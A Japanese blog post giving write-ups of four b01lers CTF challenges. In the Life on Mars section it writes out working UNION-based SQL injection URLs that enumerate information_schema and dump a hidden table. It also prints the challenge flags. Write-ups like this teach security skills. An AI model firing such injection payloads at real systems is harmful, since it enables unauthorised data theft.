st98 の日記帳


[ctf] b01lers CTF の write-up

3 月 14 日から 3 月 16 日にかけて開催された b01lers CTF に、チーム zer0pts として参加しました。最終的にチームで 4103 点を獲得し、順位は 1 点以上得点した 660 チーム中 6 位でした。うち、私は 7 問を解いて 503 点を入れました。

以下、私が解いた問題の write-up です。

[Web 100] Welcome to Earth (419 solves)

This was supposed to be my weekend off, but noooo, you got me out here, draggin’ your heavy ass through the burning desert, with your dreadlocks sticking out the back of my parachute. You gotta come down here with an attitude, actin’ all big and bad. And what the hell is that smell? I coulda been at a barbecue, but I ain’t mad.

(URL)

与えられた URL にアクセスすると、以下のような HTML が返ってきました。

<!DOCTYPE html>
<html>
  <head>
    <title>Welcome to Earth</title>
  </head>
  <body>
    <h1>AMBUSH!</h1>
    <p>You've gotta escape!</p>
    <img src="/static/img/f18.png" alt="alien mothership" style="width:60vw;" />
    <script>
      document.onkeydown = function(event) {
        event = event || window.event;
        if (event.keyCode == 27) {
          event.preventDefault();
          window.location = "/chase/";
        } else die();
      };

      function sleep(ms) {
        return new Promise(resolve => setTimeout(resolve, ms));
      }

      async function dietimer() {
        await sleep(10000);
        die();
      }

      function die() {
        window.location = "/die/";
      }

      dietimer();
    </script>
  </body>
</html>

10 秒経つ前に Esc キーを押すと /chase/ に遷移されるようです。アクセスすると以下のような HTML が返ってきました。

<!DOCTYPE html>
<html>
  <head>
    <title>Welcome to Earth</title>
  </head>
  <body>
    <h1>CHASE!</h1>
    <p>
      You managed to chase one of the enemy fighters, but there's a wall coming
      up fast!
    </p>
    <button onclick="left()">Left</button>
    <button onclick="right()">Right</button>

    <img
      src="/static/img/Canyon_Chase_16.png"
      alt="canyon chase"
      style="width:60vw;"
    />
    <script>
      function sleep(ms) {
        return new Promise(resolve => setTimeout(resolve, ms));
      }

      async function dietimer() {
        await sleep(1000);
        die();
      }

      function die() {
        window.location = "/die/";
      }

      function left() {
        window.location = "/die/";
      }

      function leftt() {
        window.location = "/leftt/";
      }

      function right() {
        window.location = "/die/";
      }

      dietimer();
    </script>
  </body>
</html>

Left ボタンと Right ボタンのいずれを押しても /die/ に遷移されてしまうようです。leftt というどこからも呼ばれていない関数なら /leftt/ に遷移されるようです。アクセスすると以下のような HTML が返ってきました。

<!DOCTYPE html>
<html>
  <head>
    <title>Welcome to Earth</title>
  </head>
  <body>
    <h1>SHOOT IT</h1>
    <p>You've got the bogey in your sights, take the shot!</p>
    <img
      src="/static/img/locked.png"
      alt="locked on"
      style="width:60vw;"
    />
    </br>
    <button onClick="window.location='/die/'">Take the shot</button>
    <!-- <button onClick="window.location='/shoot/'">Take the shot</button> -->
  </body>
</html>

コメントアウトされている Take the shot というボタンを押すと /shoot/ に遷移されるようです。アクセスすると以下のような HTML が返ってきました。

<!DOCTYPE html>
<html>
  <head>
    <title>Welcome to Earth</title>
  </head>
  <body>
    <h1>YOU SHOT IT DOWN!</h1>
    <p>Well done! You also crash in the process</p>
    <img src="/static/img/parachute.png" alt="parachute" style="width:60vw;" />
    <button onClick="window.location='/door/'">Continue</button>
  </body>
</html>

Continue ボタンを押すと /door/ に遷移されます。アクセスすると以下のような HTML が返ってきました。

<!DOCTYPE html>
<html>
  <head>
    <title>Welcome to Earth</title>
    <script src="/static/js/door.js"></script>
  </head>
  <body>
    <h1>YOU APPROACH THE ALIEN CRAFT!</h1>
    <p>How do you get inside?</p>
    <img src="/static/img/ship.png" alt="crashed ship" style="width:60vw;" />
    <form id="door_form">
      <input type="radio" name="side" value="0" />0
      <input type="radio" name="side" value="1" />1
      <input type="radio" name="side" value="2" />2
︙
      <input type="radio" name="side" value="357" />357
      <input type="radio" name="side" value="358" />358
      <input type="radio" name="side" value="359" />359
    </form>
    <button onClick="check_door()">Check</button>
  </body>
</html>

わあ、360 個のラジオボタンが表示されました。Check ボタンを押すと check_door が呼ばれるようです。実装は /static/js/door.js にあるはずですから、確認しましょう。

function check_door() {
  var all_radio = document.getElementById("door_form").elements;
  var guess = null;

  for (var i = 0; i < all_radio.length; i++)
    if (all_radio[i].checked) guess = all_radio[i].value;

  rand = Math.floor(Math.random() * 360);
  if (rand == guess) window.location = "/open/";
  else window.location = "/die/";
}

360 分の 1 の確率で /open/ に遷移されるようです。アクセスすると以下のような HTML が返ってきました。

<!DOCTYPE html>
<html>
  <head>
    <title>Welcome to Earth</title>
    <script src="/static/js/open_sesame.js"></script>
  </head>
  <body>
    <h1>YOU FOUND THE DOOR!</h1>
    <p>How do you open it?</p>
    <img src="/static/img/door.jpg" alt="door" style="width:60vw;" />
    <script>
      open(0);
    </script>
  </body>
</html>

/static/js/open_sesame.js は以下のような内容でした。

function sleep(ms) {
  return new Promise(resolve => setTimeout(resolve, ms));
}

function open(i) {
  sleep(1).then(() => {
    open(i + 1);
  });
  if (i == 4000000000) window.location = "/fight/";
}

4000000000 秒ぐらい待てば /fight/ に遷移されるようです。アクセスすると以下のような HTML が返ってきました。

<!DOCTYPE html>
<html>
  <head>
    <title>Welcome to Earth</title>
    <script src="/static/js/fight.js"></script>
  </head>
  <body>
    <h1>AN ALIEN!</h1>
    <p>What do you do?</p>
    <img
      src="/static/img/alien.png"
      alt="door"
      style="width:60vw;"
    />
    </br>
    <input type="text" id="action">
    <button onClick="check_action()">Fight!</button>
  </body>
</html>

/static/js/fight.js は以下のような内容でした。

// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {
  for (var i = 0; i < key.length; i++) {
    let n = key.charCodeAt(i) % flag.length;
    let temp = flag[i];
    flag[i] = flag[n];
    flag[n] = temp;
  }
  return flag;
}

function check_action() {
  var action = document.getElementById("action").value;
  var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];

  // TODO: unscramble function
}

フラグがシャッフルされて flag に格納されているようです。これぐらいなら手で直せます。

pctf{hey_boys_im_baaaaaaaaaack!}

[Web 100] Life on Mars (64 solves)

We earth men have a talent for ruining big, beautiful things.

(URL)

与えられた URL にアクセスすると、以下のような HTML が返ってきました。

<!DOCTYPE html>
<html lang="en">
  <head>
    <title>Life On Mars</title>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <link
      rel="stylesheet"
      href="/static/css/bootstrap.min.css"
    />
    <link
      rel="stylesheet"
      href="/static/css/life_on_mars.css"
    />
    <script src="/static/js/jquery.min.js"></script>
    <script src="/static/js/popper.min.js"></script>
    <script src="/static/js/bootstrap.min.js"></script>
    <script src="/static/js/life_on_mars.js"></script>
  </head>
  <body>
    <div class="wrapper">
      <!-- Sidebar -->
      <nav id="sidebar">
        <div class="sidebar-header">
          <h3>Discovered Life</h3>
        </div>
        <ul class="list-unstyled components">
          <li class="active">
            <a href="/">Home</a>
          </li>
          <li>
            <a
              onclick="get_life('amazonis_planitia');"
              href="javascript:void(0);"
              >Amazonis Planitia</a
            >
          </li>
          <li>
            <a onclick="get_life('olympus_mons');" href="javascript:void(0);"
              >Olympus Mons</a
            >
          </li>
          <li>
            <a onclick="get_life('tharsis_rise');" href="javascript:void(0);"
              >Tharsis Rise</a
            >
          </li>
          <li>
            <a onclick="get_life('chryse_planitia');" href="javascript:void(0);"
              >Chryse Planitia</a
            >
          </li>
          <li>
            <a onclick="get_life('arabia_terra');" href="javascript:void(0);"
              >Arabia Terra</a
            >
          </li>
          <li>
            <a onclick="get_life('noachis_terra');" href="javascript:void(0);"
              >Noachis Terra</a
            >
          </li>
          <li>
            <a onclick="get_life('hellas_basin');" href="javascript:void(0);"
              >Hellas Basin</a
            >
          </li>
          <li>
            <a onclick="get_life('utopia_basin');" href="javascript:void(0);"
              >Utopia Basin</a
            >
          </li>
          <li>
            <a onclick="get_life('hesperia_planum');" href="javascript:void(0);"
              >Hesperia Planum</a
            >
          </li>
        </ul>
      </nav>
      <div id="content" style="width:80%">
        <div class="jumbotron text-center">
          <h1 class="display-1">Life On Mars</h1>
        </div>
        <div class="container">
          <h4 id="results">
            This is a website about life on Mars. It includes much information
            on various species in only some of the Martian terrain.
          </h4>
        </div>
      </div>
    </div>
  </body>
</html>

Amazonis PlanitiaOlympus Mons のようなリンクをクリックすると NameDescription というカラム名のテーブルが表示されました。Google Chrome の DevTools で Network タブを開いて観察していると、それぞれ /query?search=amazonis_planitia&{}&_=(タイムスタンプ)/query?search=olympus_mons&{}&_=(タイムスタンプ) へのリクエストが飛んでいることが確認できました。返ってきたレスポンスはテーブルに表示するための JSON のようで、[["Aaamazzarite","…"], …, ["Zakdorns",""]] というような内容でした。

これは SQLi のにおいがします。GET パラメータの search' or 1;#" or 1;# に変えても 1 としか返ってきません。おそらくエラーでしょう。もしかして SELECT name, description FROM (search) のようにテーブル名部分に search をそのまま挿入しているのではないかと考え /query?search=olympus_mons%20where%200%20union%20select%201,2;%23 にアクセスしてみたところ、[["1","2"]] が返ってきました。思っていた通りのようです。

/query?search=olympus_mons%20where%200%20union%20select%201,version();%23 にアクセスすると [["1","5.7.29"]] が返ってきました。5.7.29 でググると MySQL のドキュメントが多くヒットすることから、MySQL が使われていることが推測できます。information_schema.tables からテーブル情報を取得しましょう。/query?search=olympus_mons%20where%200%20union%20select%20table_name,table_schema%20from%20information_schema.tables;%23 にアクセスすると以下のような JSON が返ってきました。

[["CHARACTER_SETS","information_schema"],["COLLATIONS","information_schema"],["COLLATION_CHARACTER_SET_APPLICABILITY","information_schema"],["COLUMNS","information_schema"],["COLUMN_PRIVILEGES","information_schema"],["ENGINES","information_schema"],["EVENTS","information_schema"],["FILES","information_schema"],["GLOBAL_STATUS","information_schema"],["GLOBAL_VARIABLES","information_schema"],["KEY_COLUMN_USAGE","information_schema"],["OPTIMIZER_TRACE","information_schema"],["PARAMETERS","information_schema"],["PARTITIONS","information_schema"],["PLUGINS","information_schema"],["PROCESSLIST","information_schema"],["PROFILING","information_schema"],["REFERENTIAL_CONSTRAINTS","information_schema"],["ROUTINES","information_schema"],["SCHEMATA","information_schema"],["SCHEMA_PRIVILEGES","information_schema"],["SESSION_STATUS","information_schema"],["SESSION_VARIABLES","information_schema"],["STATISTICS","information_schema"],["TABLES","information_schema"],["TABLESPACES","information_schema"],["TABLE_CONSTRAINTS","information_schema"],["TABLE_PRIVILEGES","information_schema"],["TRIGGERS","information_schema"],["USER_PRIVILEGES","information_schema"],["VIEWS","information_schema"],["INNODB_LOCKS","information_schema"],["INNODB_TRX","information_schema"],["INNODB_SYS_DATAFILES","information_schema"],["INNODB_FT_CONFIG","information_schema"],["INNODB_SYS_VIRTUAL","information_schema"],["INNODB_CMP","information_schema"],["INNODB_FT_BEING_DELETED","information_schema"],["INNODB_CMP_RESET","information_schema"],["INNODB_CMP_PER_INDEX","information_schema"],["INNODB_CMPMEM_RESET","information_schema"],["INNODB_FT_DELETED","information_schema"],["INNODB_BUFFER_PAGE_LRU","information_schema"],["INNODB_LOCK_WAITS","information_schema"],["INNODB_TEMP_TABLE_INFO","information_schema"],["INNODB_SYS_INDEXES","information_schema"],["INNODB_SYS_TABLES","information_schema"],["INNODB_SYS_FIELDS","information_schema"],["INNODB_CMP_PER_INDEX_RESET","information_schema"],["INNODB_BUFFER_PAGE","information_schema"],["INNODB_FT_DEFAULT_STOPWORD","information_schema"],["INNODB_FT_INDEX_TABLE","information_schema"],["INNODB_FT_INDEX_CACHE","information_schema"],["INNODB_SYS_TABLESPACES","information_schema"],["INNODB_METRICS","information_schema"],["INNODB_SYS_FOREIGN_COLS","information_schema"],["INNODB_CMPMEM","information_schema"],["INNODB_BUFFER_POOL_STATS","information_schema"],["INNODB_SYS_COLUMNS","information_schema"],["INNODB_SYS_FOREIGN","information_schema"],["INNODB_SYS_TABLESTATS","information_schema"],["code","alien_code"],["amazonis_planitia","aliens"],["arabia_terra","aliens"],["chryse_planitia","aliens"],["hellas_basin","aliens"],["hesperia_planum","aliens"],["noachis_terra","aliens"],["olympus_mons","aliens"],["tharsis_rise","aliens"],["utopia_basin","aliens"]]

alien_code.code という、information_schema を除いてひとつだけデータベースが aliens でない怪しげなテーブルがあります。/query?search=olympus_mons%20where%200%20union%20select%20*%20from%20alien_code.code;%23 にアクセスすると以下のような JSON が返ってきました。

[["0","pctf{no_intelligent_life_here}"]]

フラグが得られました。

pctf{no_intelligent_life_here}

[Web 200] Scrambled (64 solves)

I was scanning through the skies. And missed the static in your eyes. Something blocking your reception. It’s distorting our connection. With the distance amplified. Was it all just synthesized? And now the silence screams that you are gone. You’ve tuned me out. I’ve lost your frequency.

(URL)

与えられた URL にアクセスすると、以下のようなレスポンスが返ってきました。

$ curl -i http://(省略)
HTTP/1.1 200 OK
Host: (省略)
Date: Thu, 19 Mar 2020 00:18:32 GMT
Connection: close
X-Powered-By: PHP/7.4.2
Set-Cookie: frequency=0; expires=Thu, 19-Mar-2020 00:28:32 GMT; Max-Age=600; path=/
Set-Cookie: transmissions=0; expires=Thu, 19-Mar-2020 00:28:32 GMT; Max-Age=600; path=/
Refresh:0
Content-type: text/html; charset=UTF-8


<!DOCTYPE html>
<html lang="en">
        <head>
                <meta charset="utf-8"/>
        </head>
        <body style="background-image:url('./back.jpg');background-repeat:none;text-align:center;">
    <button onClick="window.location.reload()" style="position:absolute; bottom:0; left:50%;">Reload</button>
    <iframe width="560" height="315" src="https://www.youtube.com/embed/jE4przMkUqo?autoplay=1" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>
        </body>
</html>

frequencytransmissions という Cookie が発行されているようです。保存して送信してみましょう。

$ curl -i http://(省略) -b "frequency=0" -b "transmissions=0"
HTTP/1.1 200 OK
Host: (省略)
Date: Thu, 19 Mar 2020 00:19:26 GMT
Connection: close
X-Powered-By: PHP/7.4.2
Set-Cookie: frequency=0; expires=Thu, 19-Mar-2020 00:29:26 GMT; Max-Age=600; path=/
Set-Cookie: transmissions=kxkxkxkxshe%2C44kxkxkxkxsh; expires=Thu, 19-Mar-2020 00:29:26 GMT; Max-Age=600; path=/
Content-type: text/html; charset=UTF-8


<!DOCTYPE html>
<html lang="en">
        <head>
                <meta charset="utf-8"/>
        </head>
        <body style="background-image:url('./back.jpg');background-repeat:none;text-align:center;">
    <button onClick="window.location.reload()" style="position:absolute; bottom:0; left:50%;">Reload</button>
    <iframe width="560" height="315" src="https://www.youtube.com/embed/jE4przMkUqo?autoplay=1" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>
        </body>
</html>
$ curl -i http://(省略) -b "frequency=0" -b "transmissions=0"
︙
Set-Cookie: frequency=0; expires=Thu, 19-Mar-2020 00:31:18 GMT; Max-Age=600; path=/
Set-Cookie: transmissions=kxkxkxkxsh%7BD4kxkxkxkxsh; expires=Thu, 19-Mar-2020 00:31:18 GMT; Max-Age=600; path=/
︙
$ curl -i http://(省略) -b "frequency=0" -b "transmissions=0"
︙
Set-Cookie: frequency=0; expires=Thu, 19-Mar-2020 00:31:19 GMT; Max-Age=600; path=/
Set-Cookie: transmissions=kxkxkxkxshes39kxkxkxkxsh; expires=Thu, 19-Mar-2020 00:31:19 GMT; Max-Age=600; path=/
︙

返ってくるコンテンツは同じですが、Cookie の transmissions は毎回変わっていますが、フォーマットはいずれも kxkxkxkxsh(2 文字の文字列)(数値)kxkxkxkxsh のようです。(2 文字の文字列)(数値) の部分を集めて数値部分でソートしてみましょう。

import urllib.request
import requests

URL = 'http://(省略)/'
result = [None for _ in range(68)]

while None in result:
  r = requests.get(URL, cookies={'frequency': '0', 'transmissions': '0'})
  r = urllib.request.unquote(r.cookies['transmissions']).replace('kxkxkxkxsh', '')
  result[int(r[2:])] = r[:2]
  print(result)
$ python3 test.py
︙
['pc', 'ct', 'tf', 'f{', '{D', 'Do', 'ow', 'wn', 'n_', '_W', 'Wi', 'it', 'th', 'h_', '_t', 'th', 'he', 'e_', '_F', 'Fa', 'al', 'll', 'le', 'en', 'n,', ',C', 'Ca', 'ar', 'rn', 'ni', 'iv', 'vo', 'or', 're', 'e,', ',T', 'Te', 'el', 'le', 'es', 'sc', 'co', 'op', 'pe', 'e,', ',I', 'It', 't_', '_H', 'Ha', 'as', 's_', '_B', 'Be', 'eg', 'gu', 'un', 'n,', ',M', 'My', 'y_', '_D', 'De', 'em', 'mo', 'on', 'ns', None]
︙

フラグがちょっとずつ送信されていたようです。各要素の 1 文字目を結合しましょう。

>>> s = ['pc', 'ct', 'tf', 'f{', '{D', 'Do', 'ow', 'wn', 'n_', '_W', 'Wi', 'it', 'th', 'h_', '_t', 'th', 'he', 'e_', '_F', 'Fa', 'al', 'll', 'le', 'en', 'n,', ',C', 'Ca', 'ar', 'rn', 'ni', 'iv', 'vo', 'or', 're', 'e,', ',T', 'Te', 'el', 'le', 'es', 'sc', 'co', 'op', 'pe', 'e,', ',I', 'It', 't_', '_H', 'Ha', 'as', 's_', '_B', 'Be', 'eg', 'gu', 'un', 'n,', ',M', 'My', 'y_', '_D', 'De', 'em', 'mo', 'on', 'ns', None]
>>> ''.join(str(c)[0] for c in s)
'pctf{Down_With_the_Fallen,Carnivore,Telescope,It_Has_Begun,My_DemonN'

フラグが得られました。

pctf{Down_With_the_Fallen,Carnivore,Telescope,It_Has_Begun,My_Demons}

[Rev 100] Train Arms (46 solves)

My favorite, ARM and Trains!

添付ファイル: train_arms.tgz

与えられたファイルを展開すると、main.s という以下のような ARM っぽいアセンブリと、result.txt というおそらく main.s をアセンブルして実行した結果が出てきました。

.cpu cortex-m0
.thumb
.syntax unified
.fpu softvfp


.data 
    flag: .string "REDACTED" //len = 28

.text
.global main
main:
    ldr r0,=flag
    eors r1,r1
    eors r2,r2
    movs r7,#1
    movs r6,#42
loop:
    ldrb r2,[r0,r1]
    cmp r2,#0
    beq exit
    lsls r3,r1,#0
    ands r3,r7
    cmp r3,#0
    bne f1//if odd
    strb r2,[r0,r1]
    adds r1,#1
    b loop
f1:
    eors r2,r6
    strb r2,[r0,r1]
    adds r1,#1
    b loop

exit:
    wfi

フラグの奇数文字目を 42 と XOR しているようです。

$ python2
>>> from pwn import *
>>> xor(s, '\x00*')
'pctf{tr41ns_d0nt_h4v3_arms}'

フラグが得られました。

pctf{tr41ns_d0nt_h4v3_arms}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳